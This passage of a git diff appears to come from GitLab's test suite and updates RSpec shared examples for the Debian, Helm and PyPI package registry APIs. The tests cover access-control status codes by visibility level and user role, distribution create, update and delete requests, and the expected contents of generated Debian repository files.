+ let_it_be(:public_project) { create(:project, :public, group: public_container) }
+ let_it_be(:private_project_distribution) { create(:debian_project_distribution, container: private_project, codename: 'existing-codename') }
+ let_it_be(:public_project_distribution) { create(:debian_project_distribution, container: public_project, codename: 'existing-codename') }
+ else
+ let_it_be(:private_project) { private_container }
+ let_it_be(:public_project) { public_container }
+ let_it_be(:private_project_distribution) { private_distribution }
+ let_it_be(:public_project_distribution) { public_distribution }
+ end
+
+ let_it_be(:private_package) { create(:debian_package, project: private_project, published_in: private_project_distribution) }
+ let_it_be(:public_package) { create(:debian_package, project: public_project, published_in: public_project_distribution) }
+
+ let(:visibility_level) { :public }
+
+ let(:distribution) { { private: private_distribution, public: public_distribution }[visibility_level] }
+
let(:component) { 'main' }
let(:architecture) { 'amd64' }
let(:source_package) { 'sample' }
@@ -97,7 +125,7 @@ RSpec.shared_examples 'Debian repository GET request' do |status, body = nil|
expect(response).to have_gitlab_http_status(status)
unless body.nil?
- expect(response.body).to eq(body)
+ expect(response.body).to match(body)
end
end
end
@@ -107,16 +135,25 @@ RSpec.shared_examples 'Debian repository upload request' do |status, body = nil|
if status == :created
it 'creates package files', :aggregate_failures do
- pending "Debian package creation not implemented"
+ expect(::Packages::Debian::FindOrCreateIncomingService).to receive(:new).with(container, user).and_call_original
+ expect(::Packages::Debian::CreatePackageFileService).to receive(:new).with(be_a(Packages::Package), be_an(Hash)).and_call_original
+
+ if file_name.end_with? '.changes'
+ expect(::Packages::Debian::ProcessChangesWorker).to receive(:perform_async)
+ else
+ expect(::Packages::Debian::ProcessChangesWorker).not_to receive(:perform_async)
+ end
expect { subject }
.to change { container.packages.debian.count }.by(1)
+ .and change { container.packages.debian.where(name: 'incoming').count }.by(1)
+ .and change { container.package_files.count }.by(1)
expect(response).to have_gitlab_http_status(status)
expect(response.media_type).to eq('text/plain')
unless body.nil?
- expect(response.body).to eq(body)
+ expect(response.body).to match(body)
end
end
it_behaves_like 'a package tracking event', described_class.name, 'push_package'
@@ -127,7 +164,7 @@ RSpec.shared_examples 'Debian repository upload request' do |status, body = nil|
expect(response).to have_gitlab_http_status(status)
unless body.nil?
- expect(response.body).to eq(body)
+ expect(response.body).to match(body)
end
end
end
@@ -173,18 +210,112 @@ RSpec.shared_examples 'Debian repository upload authorize request' do |status, b
expect(response).to have_gitlab_http_status(status)
unless body.nil?
- expect(response.body).to eq(body)
+ expect(response.body).to match(body)
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'Debian repository POST distribution request' do |status, body|
+ and_body = body.nil? ? '' : ' and expected body'
+
+ if status == :created
+ it 'creates distribution', :aggregate_failures do
+ expect(::Packages::Debian::CreateDistributionService).to receive(:new).with(container, user, api_params).and_call_original
+
+ expect { subject }
+ .to change { Packages::Debian::GroupDistribution.all.count + Packages::Debian::ProjectDistribution.all.count }.by(1)
+ .and change { Packages::Debian::GroupComponent.all.count + Packages::Debian::ProjectComponent.all.count }.by(1)
+ .and change { Packages::Debian::GroupArchitecture.all.count + Packages::Debian::ProjectArchitecture.all.count }.by(2)
+
+ expect(response).to have_gitlab_http_status(status)
+ expect(response.media_type).to eq('application/json')
+
+ unless body.nil?
+ expect(response.body).to match(body)
+ end
+ end
+ else
+ it "returns #{status}#{and_body}", :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(status)
+
+ unless body.nil?
+ expect(response.body).to match(body)
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'Debian repository PUT distribution request' do |status, body|
+ and_body = body.nil? ? '' : ' and expected body'
+
+ if status == :success
+ it 'updates distribution', :aggregate_failures do
+ expect(::Packages::Debian::UpdateDistributionService).to receive(:new).with(distribution, api_params.except(:codename)).and_call_original
+
+ expect { subject }
+ .to not_change { Packages::Debian::GroupDistribution.all.count + Packages::Debian::ProjectDistribution.all.count }
+ .and not_change { Packages::Debian::GroupComponent.all.count + Packages::Debian::ProjectComponent.all.count }
+ .and not_change { Packages::Debian::GroupArchitecture.all.count + Packages::Debian::ProjectArchitecture.all.count }
+
+ expect(response).to have_gitlab_http_status(status)
+ expect(response.media_type).to eq('application/json')
+
+ unless body.nil?
+ expect(response.body).to match(body)
+ end
+ end
+ else
+ it "returns #{status}#{and_body}", :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(status)
+
+ unless body.nil?
+ expect(response.body).to match(body)
end
end
end
end
-RSpec.shared_examples 'rejects Debian access with unknown container id' do
+RSpec.shared_examples 'Debian repository DELETE distribution request' do |status, body|
+ and_body = body.nil? ? '' : ' and expected body'
+
+ if status == :success
+ it 'updates distribution', :aggregate_failures do
+ expect { subject }
+ .to change { Packages::Debian::GroupDistribution.all.count + Packages::Debian::ProjectDistribution.all.count }.by(-1)
+ .and change { Packages::Debian::GroupComponent.all.count + Packages::Debian::ProjectComponent.all.count }.by(-1)
+ .and change { Packages::Debian::GroupArchitecture.all.count + Packages::Debian::ProjectArchitecture.all.count }.by(-2)
+
+ expect(response).to have_gitlab_http_status(status)
+ expect(response.media_type).to eq('application/json')
+
+ unless body.nil?
+ expect(response.body).to match(body)
+ end
+ end
+ else
+ it "returns #{status}#{and_body}", :aggregate_failures do
+ subject
+
+ expect(response).to have_gitlab_http_status(status)
+
+ unless body.nil?
+ expect(response.body).to match(body)
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'rejects Debian access with unknown container id' do |hidden_status|
context 'with an unknown container' do
let(:container) { double(id: non_existing_record_id) }
context 'as anonymous' do
- it_behaves_like 'Debian repository GET request', :unauthorized, nil
+ it_behaves_like 'Debian repository GET request', hidden_status, nil
end
context 'as authenticated user' do
@@ -195,19 +326,25 @@ RSpec.shared_examples 'rejects Debian access with unknown container id' do
end
end
-RSpec.shared_examples 'Debian repository read endpoint' do |desired_behavior, success_status, success_body|
+RSpec.shared_examples 'Debian repository read endpoint' do |desired_behavior, success_status, success_body, authenticate_non_public: true|
+ hidden_status = if authenticate_non_public
+ :unauthorized
+ else
+ :not_found
+ end
+
context 'with valid container' do
using RSpec::Parameterized::TableSyntax
where(:visibility_level, :user_role, :member, :user_token, :expected_status, :expected_body) do
:public | :developer | true | true | success_status | success_body
:public | :guest | true | true | success_status | success_body
- :public | :developer | true | false | success_status | success_body
- :public | :guest | true | false | success_status | success_body
+ :public | :developer | true | false | :unauthorized | nil
+ :public | :guest | true | false | :unauthorized | nil
:public | :developer | false | true | success_status | success_body
:public | :guest | false | true | success_status | success_body
- :public | :developer | false | false | success_status | success_body
- :public | :guest | false | false | success_status | success_body
+ :public | :developer | false | false | :unauthorized | nil
+ :public | :guest | false | false | :unauthorized | nil
:public | :anonymous | false | true | success_status | success_body
:private | :developer | true | true | success_status | success_body
:private | :guest | true | true | :forbidden | nil
@@ -217,7 +354,7 @@ RSpec.shared_examples 'Debian repository read endpoint' do |desired_behavior, su
:private | :guest | false | true | :not_found | nil
:private | :developer | false | false | :unauthorized | nil
:private | :guest | false | false | :unauthorized | nil
- :private | :anonymous | false | true | :unauthorized | nil
+ :private | :anonymous | false | true | hidden_status | nil
end
with_them do
@@ -227,10 +364,16 @@ RSpec.shared_examples 'Debian repository read endpoint' do |desired_behavior, su
end
end
- it_behaves_like 'rejects Debian access with unknown container id'
+ it_behaves_like 'rejects Debian access with unknown container id', hidden_status
end
-RSpec.shared_examples 'Debian repository write endpoint' do |desired_behavior, success_status, success_body|
+RSpec.shared_examples 'Debian repository write endpoint' do |desired_behavior, success_status, success_body, authenticate_non_public: true|
+ hidden_status = if authenticate_non_public
+ :unauthorized
+ else
+ :not_found
+ end
+
context 'with valid container' do
using RSpec::Parameterized::TableSyntax
@@ -252,7 +395,50 @@ RSpec.shared_examples 'Debian repository write endpoint' do |desired_behavior, s
:private | :guest | false | true | :not_found | nil
:private | :developer | false | false | :unauthorized | nil
:private | :guest | false | false | :unauthorized | nil
- :private | :anonymous | false | true | :unauthorized | nil
+ :private | :anonymous | false | true | hidden_status | nil
+ end
+
+ with_them do
+ include_context 'Debian repository access', params[:visibility_level], params[:user_role], params[:member], params[:user_token], :basic do
+ it_behaves_like "Debian repository #{desired_behavior}", params[:expected_status], params[:expected_body]
+ end
+ end
+ end
+
+ it_behaves_like 'rejects Debian access with unknown container id', hidden_status
+end
+
+RSpec.shared_examples 'Debian repository maintainer write endpoint' do |desired_behavior, success_status, success_body, authenticate_non_public: true|
+ hidden_status = if authenticate_non_public
+ :unauthorized
+ else
+ :not_found
+ end
+
+ context 'with valid container' do
+ using RSpec::Parameterized::TableSyntax
+
+ where(:visibility_level, :user_role, :member, :user_token, :expected_status, :expected_body) do
+ :public | :maintainer | true | true | success_status | success_body
+ :public | :developer | true | true | :forbidden | nil
+ :public | :guest | true | true | :forbidden | nil
+ :public | :maintainer | true | false | :unauthorized | nil
+ :public | :guest | true | false | :unauthorized | nil
+ :public | :maintainer | false | true | :forbidden | nil
+ :public | :guest | false | true | :forbidden | nil
+ :public | :maintainer | false | false | :unauthorized | nil
+ :public | :guest | false | false | :unauthorized | nil
+ :public | :anonymous | false | true | :unauthorized | nil
+ :private | :maintainer | true | true | success_status | success_body
+ :private | :developer | true | true | :forbidden | nil
+ :private | :guest | true | true | :forbidden | nil
+ :private | :maintainer | true | false | :unauthorized | nil
+ :private | :guest | true | false | :unauthorized | nil
+ :private | :maintainer | false | true | :not_found | nil
+ :private | :guest | false | true | :not_found | nil
+ :private | :maintainer | false | false | :unauthorized | nil
+ :private | :guest | false | false | :unauthorized | nil
+ :private | :anonymous | false | true | hidden_status | nil
end
with_them do
@@ -262,5 +448,5 @@ RSpec.shared_examples 'Debian repository write endpoint' do |desired_behavior, s
end
end
- it_behaves_like 'rejects Debian access with unknown container id'
+ it_behaves_like 'rejects Debian access with unknown container id', hidden_status
end
diff --git a/spec/support/shared_examples/requests/api/graphql/packages/package_details_shared_examples.rb b/spec/support/shared_examples/requests/api/graphql/packages/package_details_shared_examples.rb
new file mode 100644
index 00000000000..41a61ba5fd7
--- /dev/null
+++ b/spec/support/shared_examples/requests/api/graphql/packages/package_details_shared_examples.rb
@@ -0,0 +1,27 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'a package detail' do
+ it_behaves_like 'a working graphql query' do
+ it 'matches the JSON schema' do
+ expect(package_details).to match_schema('graphql/packages/package_details')
+ end
+ end
+end
+
+RSpec.shared_examples 'a package with files' do
+ it 'has the right amount of files' do
+ expect(package_files_response.length).to be(package.package_files.length)
+ end
+
+ it 'has the basic package files data' do
+ expect(first_file_response).to include(
+ 'id' => global_id_of(first_file),
+ 'fileName' => first_file.file_name,
+ 'size' => first_file.size.to_s,
+ 'downloadPath' => first_file.download_path,
+ 'fileSha1' => first_file.file_sha1,
+ 'fileMd5' => first_file.file_md5,
+ 'fileSha256' => first_file.file_sha256
+ )
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb
new file mode 100644
index 00000000000..585c4fb8a4e
--- /dev/null
+++ b/spec/support/shared_examples/requests/api/helm_packages_shared_examples.rb
@@ -0,0 +1,53 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'rejects helm packages access' do |user_type, status, add_member = true|
+ context "for user type #{user_type}" do
+ before do
+ project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ end
+
+ it_behaves_like 'returning response status', status
+
+ if status == :unauthorized
+ it 'has the correct response header' do
+ subject
+
+ expect(response.headers['WWW-Authenticate']).to eq 'Basic realm="GitLab Packages Registry"'
+ end
+ end
+ end
+end
+
+RSpec.shared_examples 'process helm download content request' do |user_type, status, add_member = true|
+ context "for user type #{user_type}" do
+ before do
+ project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ end
+
+ it_behaves_like 'returning response status', status
+
+ it_behaves_like 'a package tracking event', 'API::HelmPackages', 'pull_package'
+
+ it 'returns a valid package archive' do
+ subject
+
+ expect(response.media_type).to eq('application/octet-stream')
+ end
+ end
+end
+
+RSpec.shared_examples 'rejects helm access with unknown project id' do
+ context 'with an unknown project' do
+ let(:project) { OpenStruct.new(id: 1234567890) }
+
+ context 'as anonymous' do
+ it_behaves_like 'rejects helm packages access', :anonymous, :unauthorized
+ end
+
+ context 'as authenticated user' do
+ subject { get api(url), headers: basic_auth_header(user.username, personal_access_token.token) }
+
+ it_behaves_like 'rejects helm packages access', :anonymous, :not_found
+ end
+ end
+end
diff --git a/spec/support/shared_examples/requests/api/packages_shared_examples.rb b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
index eb86b7c37d5..42c29084d7b 100644
--- a/spec/support/shared_examples/requests/api/packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/packages_shared_examples.rb
@@ -146,6 +146,6 @@ RSpec.shared_examples 'a package tracking event' do |category, action|
it "creates a gitlab tracking event #{action}", :snowplow do
expect { subject }.to change { Packages::Event.count }.by(1)
- expect_snowplow_event(category: category, action: action)
+ expect_snowplow_event(category: category, action: action, **snowplow_gitlab_standard_context)
end
end
diff --git a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
index bbcf856350d..8a351226123 100644
--- a/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/pypi_packages_shared_examples.rb
@@ -110,6 +110,7 @@ RSpec.shared_examples 'PyPI package versions' do |user_type, status, add_member
context "for user type #{user_type}" do
before do
project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ group.send("add_#{user_type}", user) if add_member && user_type != :anonymous
end
it 'returns the package listing' do
@@ -127,6 +128,7 @@ RSpec.shared_examples 'PyPI package download' do |user_type, status, add_member
context "for user type #{user_type}" do
before do
project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ group.send("add_#{user_type}", user) if add_member && user_type != :anonymous
end
it 'returns the package listing' do
@@ -144,24 +146,185 @@ RSpec.shared_examples 'process PyPI api request' do |user_type, status, add_memb
context "for user type #{user_type}" do
before do
project.send("add_#{user_type}", user) if add_member && user_type != :anonymous
+ group.send("add_#{user_type}", user) if add_member && user_type != :anonymous
end
it_behaves_like 'returning response status', status
end
end
+RSpec.shared_examples 'unknown PyPI scope id' do
+ context 'as anonymous' do
+ it_behaves_like 'process PyPI api request', :anonymous, :not_found
+ end
+
+ context 'as authenticated user' do
+ subject { get api(url), headers: basic_auth_header(user.username, personal_access_token.token) }
+
+ it_behaves_like 'process PyPI api request', :anonymous, :not_found
+ end
+end
+
RSpec.shared_examples 'rejects PyPI access with unknown project id' do
context 'with an unknown project' do
let(:project) { OpenStruct.new(id: 1234567890) }
- context 'as anonymous' do
- it_behaves_like 'process PyPI api request', :anonymous, :not_found
+ it_behaves_like 'unknown PyPI scope id'
+ end
+end
+
+RSpec.shared_examples 'rejects PyPI access with unknown group id' do
+ context 'with an unknown project' do
+ let(:group) { OpenStruct.new(id: 1234567890) }
+
+ it_behaves_like 'unknown PyPI scope id'
+ end
+end
+
+RSpec.shared_examples 'pypi simple API endpoint' do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :member, :user_token, :shared_examples_name, :expected_status) do
+ :public | :developer | true | true | 'PyPI package versions' | :success
+ :public | :guest | true | true | 'PyPI package versions' | :success
+ :public | :developer | true | false | 'PyPI package versions' | :success
+ :public | :guest | true | false | 'PyPI package versions' | :success
+ :public | :developer | false | true | 'PyPI package versions' | :success
+ :public | :guest | false | true | 'PyPI package versions' | :success
+ :public | :developer | false | false | 'PyPI package versions' | :success
+ :public | :guest | false | false | 'PyPI package versions' | :success
+ :public | :anonymous | false | true | 'PyPI package versions' | :success
+ :private | :developer | true | true | 'PyPI package versions' | :success
+ :private | :guest | true | true | 'process PyPI api request' | :forbidden
+ :private | :developer | true | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | true | false | 'process PyPI api request' | :unauthorized
+ :private | :developer | false | true | 'process PyPI api request' | :not_found
+ :private | :guest | false | true | 'process PyPI api request' | :not_found
+ :private | :developer | false | false | 'process PyPI api request' | :unauthorized
+ :private | :guest | false | false | 'process PyPI api request' | :unauthorized
+ :private | :anonymous | false | true | 'process PyPI api request' | :unauthorized
end
- context 'as authenticated user' do
- subject { get api(url), headers: basic_auth_header(user.username, personal_access_token.token) }
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
- it_behaves_like 'process PyPI api request', :anonymous, :not_found
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ end
+
+ it_behaves_like params[:shared_examples_name], params[:user_role], params[:expected_status], params[:member]
+ end
+ end
+
+ context 'with a normalized package name' do
+ let_it_be(:package) { create(:pypi_package, project: project, name: 'my.package') }
+
+ let(:url) { "/projects/#{project.id}/packages/pypi/simple/my-package" }
+ let(:headers) { basic_auth_header(user.username, personal_access_token.token) }
+ let(:snowplow_gitlab_standard_context) { { project: project, namespace: project.namespace } }
+
+ it_behaves_like 'PyPI package versions', :developer, :success
+ end
+end
+
+RSpec.shared_examples 'pypi file download endpoint' do
+ using RSpec::Parameterized::TableSyntax
+
+ context 'with valid project' do
+ where(:visibility_level, :user_role, :member, :user_token) do
+ :public | :developer | true | true
+ :public | :guest | true | true
+ :public | :developer | true | false
+ :public | :guest | true | false
+ :public | :developer | false | true
+ :public | :guest | false | true
+ :public | :developer | false | false
+ :public | :guest | false | false
+ :public | :anonymous | false | true
+ :private | :developer | true | true
+ :private | :guest | true | true
+ :private | :developer | true | false
+ :private | :guest | true | false
+ :private | :developer | false | true
+ :private | :guest | false | true
+ :private | :developer | false | false
+ :private | :guest | false | false
+ :private | :anonymous | false | true
end
+
+ with_them do
+ let(:token) { user_token ? personal_access_token.token : 'wrong' }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, token) }
+
+ before do
+ project.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ end
+
+ it_behaves_like 'PyPI package download', params[:user_role], :success, params[:member]
+ end
+ end
+
+ context 'with deploy token headers' do
+ let(:headers) { basic_auth_header(deploy_token.username, deploy_token.token) }
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header('foo', 'bar') }
+
+ it_behaves_like 'returning response status', :success
+ end
+ end
+
+ context 'with job token headers' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, job.token) }
+
+ context 'valid token' do
+ it_behaves_like 'returning response status', :success
+ end
+
+ context 'invalid token' do
+ let(:headers) { basic_auth_header(::Gitlab::Auth::CI_JOB_USER, 'bar') }
+
+ it_behaves_like 'returning response status', :unauthorized
+ end
+
+ context 'invalid user' do
+ let(:headers) { basic_auth_header('foo', job.token) }
+
+ it_behaves_like 'returning response status', :success
+ end
+ end
+end
+
+RSpec.shared_examples 'a pypi user namespace endpoint' do
+ using RSpec::Parameterized::TableSyntax
+
+ # only group namespaces are supported at this time
+ where(:visibility_level, :user_role, :expected_status) do
+ :public | :owner | :not_found
+ :private | :owner | :not_found
+ :public | :external | :not_found
+ :private | :external | :not_found
+ :public | :anonymous | :not_found
+ :private | :anonymous | :not_found
+ end
+
+ with_them do
+ let_it_be_with_reload(:group) { create(:namespace) }
+ let(:headers) { user_role == :anonymous ? {} : basic_auth_header(user.username, personal_access_token.token) }
+
+ before do
+ group.update_column(:visibility_level, Gitlab::VisibilityLevel.level_value(visibility_level.to_s))
+ group.update_column(:owner_id, user.id) if user_role == :owner
+ end
+
+ it_behaves_like 'returning response status', params[:expected_status]
end
end
diff --git a/spec/support/shared_examples/requests/api/resource_label_events_api_shared_examples.rb b/spec/support/shared_examples/requests/api/resource_label_events_api_shared_examples.rb
index 675b6c5cef6..2ac78131e08 100644
--- a/spec/support/shared_examples/requests/api/resource_label_events_api_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/resource_label_events_api_shared_examples.rb
@@ -48,7 +48,7 @@ RSpec.shared_examples 'resource_label_events API' do |parent_type, eventable_typ
get api("/#{parent_type}/#{parent.id}/#{eventable_type}/#{eventable[id_name]}/resource_label_events", user)
expect(json_response).to be_an Array
- expect(json_response).to eq []
+ expect(json_response).to be_empty
end
end
end
diff --git a/spec/support/shared_examples/requests/api/tracking_shared_examples.rb b/spec/support/shared_examples/requests/api/tracking_shared_examples.rb
index 826139635ed..af13e3fc14d 100644
--- a/spec/support/shared_examples/requests/api/tracking_shared_examples.rb
+++ b/spec/support/shared_examples/requests/api/tracking_shared_examples.rb
@@ -4,6 +4,6 @@ RSpec.shared_examples 'a gitlab tracking event' do |category, action|
it "creates a gitlab tracking event #{action}", :snowplow do
subject
- expect_snowplow_event(category: category, action: action)
+ expect_snowplow_event(category: category, action: action, **snowplow_standard_context_params)
end
end
diff --git a/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb b/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb
deleted file mode 100644
index 466300017d9..00000000000
--- a/spec/support/shared_examples/services/clusters/parse_cluster_applications_artifact_shared_examples.rb
+++ /dev/null
@@ -1,89 +0,0 @@
-# frozen_string_literal: true
-
-RSpec.shared_examples 'parse cluster applications artifact' do |release_name|
- let(:application_class) { Clusters::Cluster::APPLICATIONS[release_name] }
- let(:cluster_application) { cluster.public_send("application_#{release_name}") }
- let(:file) { fixture_file_upload(Rails.root.join(fixture)) }
- let(:artifact) { create(:ci_job_artifact, :cluster_applications, job: job, file: file) }
-
- context 'release is missing' do
- let(:fixture) { "spec/fixtures/helm/helm_list_v2_#{release_name}_missing.json.gz" }
-
- context 'application does not exist' do
- it 'does not create or destroy an application' do
- expect do
- described_class.new(job, user).execute(artifact)
- end.not_to change(application_class, :count)
- end
- end
-
- context 'application exists' do
- before do
- create("clusters_applications_#{release_name}".to_sym, :installed, cluster: cluster)
- end
-
- it 'marks the application as uninstalled' do
- described_class.new(job, user).execute(artifact)
-
- cluster_application.reload
- expect(cluster_application).to be_uninstalled
- end
- end
- end
-
- context 'release is deployed' do
- let(:fixture) { "spec/fixtures/helm/helm_list_v2_#{release_name}_deployed.json.gz" }
-
- context 'application does not exist' do
- it 'creates an application and marks it as installed' do
- expect do
- described_class.new(job, user).execute(artifact)
- end.to change(application_class, :count)
-
- expect(cluster_application).to be_persisted
- expect(cluster_application).to be_externally_installed
- end
- end
-
- context 'application exists' do
- before do
- create("clusters_applications_#{release_name}".to_sym, :errored, cluster: cluster)
- end
-
- it 'marks the application as installed' do
- described_class.new(job, user).execute(artifact)
-
- expect(cluster_application).to be_externally_installed
- end
- end
- end
-
- context 'release is failed' do
- let(:fixture) { "spec/fixtures/helm/helm_list_v2_#{release_name}_failed.json.gz" }
-
- context 'application does not exist' do
- it 'creates an application and marks it as errored' do
- expect do
- described_class.new(job, user).execute(artifact)
- end.to change(application_class, :count)
-
- expect(cluster_application).to be_persisted
- expect(cluster_application).to be_errored
- expect(cluster_application.status_reason).to eq('Helm release failed to install')
- end
- end
-
- context 'application exists' do
- before do
- create("clusters_applications_#{release_name}".to_sym, :installed, cluster: cluster)
- end
-
- it 'marks the application as errored' do
- described_class.new(job, user).execute(artifact)
-
- expect(cluster_application).to be_errored
- expect(cluster_application.status_reason).to eq('Helm release failed to install')
- end
- end
- end
-end
diff --git a/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb b/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb
new file mode 100644
index 00000000000..9ffeba1b1d0
--- /dev/null
+++ b/spec/support/shared_examples/services/packages/debian/generate_distribution_shared_examples.rb
@@ -0,0 +1,166 @@
+# frozen_string_literal: true
+
+RSpec.shared_examples 'Generate Debian Distribution and component files' do
+ let_it_be(:component_main) { create("debian_#{container_type}_component", distribution: distribution, name: 'main') }
+ let_it_be(:component_contrib) { create("debian_#{container_type}_component", distribution: distribution, name: 'contrib') }
+
+ let_it_be(:architecture_all) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'all') }
+ let_it_be(:architecture_amd64) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'amd64') }
+ let_it_be(:architecture_arm64) { create("debian_#{container_type}_architecture", distribution: distribution, name: 'arm64') }
+
+ let_it_be(:component_file1) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_all, updated_at: '2020-01-24T08:00:00Z', file_sha256: 'e3b0c44298fc1c149afbf4c8996fb92427ae41e4649b934ca495991b7852b855', file_md5: 'd41d8cd98f00b204e9800998ecf8427e', file_fixture: nil, size: 0) } # updated
+ let_it_be(:component_file2) { create("debian_#{container_type}_component_file", component: component_main, architecture: architecture_all, updated_at: '2020-01-24T09:00:00Z', file_sha256: 'a') } # destroyed
+ let_it_be(:component_file3) { create("debian_#{container_type}_component_file", component: component_main, architecture: architecture_amd64, updated_at: '2020-01-24T10:54:59Z', file_sha256: 'b') } # destroyed, 1 second before last generation
+ let_it_be(:component_file4) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_all, updated_at: '2020-01-24T10:55:00Z', file_sha256: 'c') } # kept, last generation
+ let_it_be(:component_file5) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_all, updated_at: '2020-01-24T10:55:00Z', file_sha256: 'd') } # kept, last generation
+ let_it_be(:component_file6) { create("debian_#{container_type}_component_file", component: component_contrib, architecture: architecture_amd64, updated_at: '2020-01-25T15:17:18Z', file_sha256: 'e') } # kept, less than 1 hour ago
+
+ def check_component_file(release_date, component_name, component_file_type, architecture_name, expected_content)
+ component_file = distribution
+ .component_files
+ .with_component_name(component_name)
+ .with_file_type(component_file_type)
+ .with_architecture_name(architecture_name)
+ .order_updated_asc
+ .last
+
+ expect(component_file).not_to be_nil
+ expect(component_file.updated_at).to eq(release_date)
+
+ unless expected_content.nil?
+ component_file.file.use_file do |file_path|
+ expect(File.read(file_path)).to eq(expected_content)
+ end
+ end
+ end
+
+ it 'generates Debian distribution and component files', :aggregate_failures do
+ current_time = Time.utc(2020, 01, 25, 15, 17, 18, 123456)
+
+ travel_to(current_time) do
+ expect(Gitlab::ErrorTracking).not_to receive(:log_exception)
+
+ initial_count = 6
+ destroyed_count = 2
+ # updated_count = 1
+ created_count = 5
+
+ expect { subject }
+ .to not_change { Packages::Package.count }
+ .and not_change { Packages::PackageFile.count }
+ .and change { distribution.reload.updated_at }.to(current_time.round)
+ .and change { distribution.component_files.reset.count }.from(initial_count).to(initial_count - destroyed_count + created_count)
+ .and change { component_file1.reload.updated_at }.to(current_time.round)
+
+ debs = package.package_files.with_debian_file_type(:deb).preload_debian_file_metadata.to_a
+ pool_prefix = "pool/unstable/#{project.id}/p/#{package.name}"
+ expected_main_amd64_content = <<~EOF
+ Package: libsample0
+ Source: #{package.name}
+ Version: #{package.version}
+ Installed-Size: 7
+ Maintainer: #{debs[0].debian_fields['Maintainer']}
+ Architecture: amd64
+ Description: Some mostly empty lib
+ Used in GitLab tests.
+ .
+ Testing another paragraph.
+ Multi-Arch: same
+ Homepage: #{debs[0].debian_fields['Homepage']}
+ Section: libs
+ Priority: optional
+ Filename: #{pool_prefix}/libsample0_1.2.3~alpha2_amd64.deb
+ Size: 409600
+ MD5sum: #{debs[0].file_md5}
+ SHA256: #{debs[0].file_sha256}
+
+ Package: sample-dev
+ Source: #{package.name} (#{package.version})
+ Version: 1.2.3~binary
+ Installed-Size: 7
+ Maintainer: #{debs[1].debian_fields['Maintainer']}
+ Architecture: amd64
+ Depends: libsample0 (= 1.2.3~binary)
+ Description: Some mostly empty development files
+ Used in GitLab tests.
+ .
+ Testing another paragraph.
+ Multi-Arch: same
+ Homepage: #{debs[1].debian_fields['Homepage']}
+ Section: libdevel
+ Priority: optional
+ Filename: #{pool_prefix}/sample-dev_1.2.3~binary_amd64.deb
+ Size: 409600
+ MD5sum: #{debs[1].file_md5}
+ SHA256: #{debs[1].file_sha256}
+ EOF
+
+ check_component_file(current_time.round, 'main', :packages, 'all', nil)
+ check_component_file(current_time.round, 'main', :packages, 'amd64', expected_main_amd64_content)
+ check_component_file(current_time.round, 'main', :packages, 'arm64', nil)
+
+ check_component_file(current_time.round, 'contrib', :packages, 'all', nil)
+ check_component_file(current_time.round, 'contrib', :packages, 'amd64', nil)
+ check_component_file(current_time.round, 'contrib', :packages, 'arm64', nil)
+
+ main_amd64_size = expected_main_amd64_content.length
+ main_amd64_md5sum = Digest::MD5.hexdigest(expected_main_amd64_content)
+ main_amd64_sha256 = Digest::SHA256.hexdigest(expected_main_amd64_content)
+
+ contrib_all_size = component_file1.size
+ contrib_all_md5sum = component_file1.file_md5
+ contrib_all_sha256 = component_file1.file_sha256
+
+ expected_release_content = <<~EOF
+ Codename: unstable
+ Date: Sat, 25 Jan 2020 15:17:18 +0000
+ Valid-Until: Mon, 27 Jan 2020 15:17:18 +0000
+ Architectures: all amd64 arm64
+ Components: contrib main
+ MD5Sum:
+ #{contrib_all_md5sum} #{contrib_all_size} contrib/binary-all/Packages
+ d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-amd64/Packages
+ d41d8cd98f00b204e9800998ecf8427e 0 contrib/binary-arm64/Packages
+ d41d8cd98f00b204e9800998ecf8427e 0 main/binary-all/Packages
+ #{main_amd64_md5sum} #{main_amd64_size} main/binary-amd64/Packages
+ d41d8cd98f00b204e9800998ecf8427e 0 main/binary-arm64/Packages
+ SHA256:
+ #{contrib_all_sha256} #{contrib_all_size} contrib/binary-all/Packages
